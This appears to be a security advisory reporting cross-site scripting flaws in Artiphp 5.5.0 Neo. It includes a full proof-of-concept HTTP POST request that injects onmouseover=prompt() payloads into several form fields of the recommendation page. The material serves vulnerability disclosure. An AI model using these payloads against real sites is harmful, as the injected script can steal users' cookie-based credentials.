source: http://www.securityfocus.com/bid/53586/info

Artiphp is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

Artiphp 5.5.0 Neo is vulnerable; other versions may also be affected. 

POST /artpublic/recommandation/index.php HTTP/1.1
Content-Length: 619
Content-Type: application/x-www-form-urlencoded
Cookie: ARTI=tsouvg67cld88k9ihbqfgk3k77
Host: localhost:80
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)

add_img_name_post			"onmouseover=prompt(1) joxy
adresse_destinataire			
adresse_expediteur			lab%40zeroscience.mk
asciiart_post				"onmouseover=prompt(2) joxy
expediteur				"onmouseover=prompt(3) joxy
message					Hello%20World
message1				%ef%bf%bd%20Recommand%20%ef%bf%bd%0a%bb%20http%3a%2f%2flocalhost%2fartpublic%2frecommandation%2f
send					Send
titre_sav				"onmouseover=prompt(4) joxy
url_sav					http%3a%2f%2flocalhost%2fartpublic%2frecommandation%2f
z39d27af885b32758ac0e7d4014a61561	"onmouseover=prompt(5) joxy
zd178e6cdc57b8d6ba3024675f443e920	2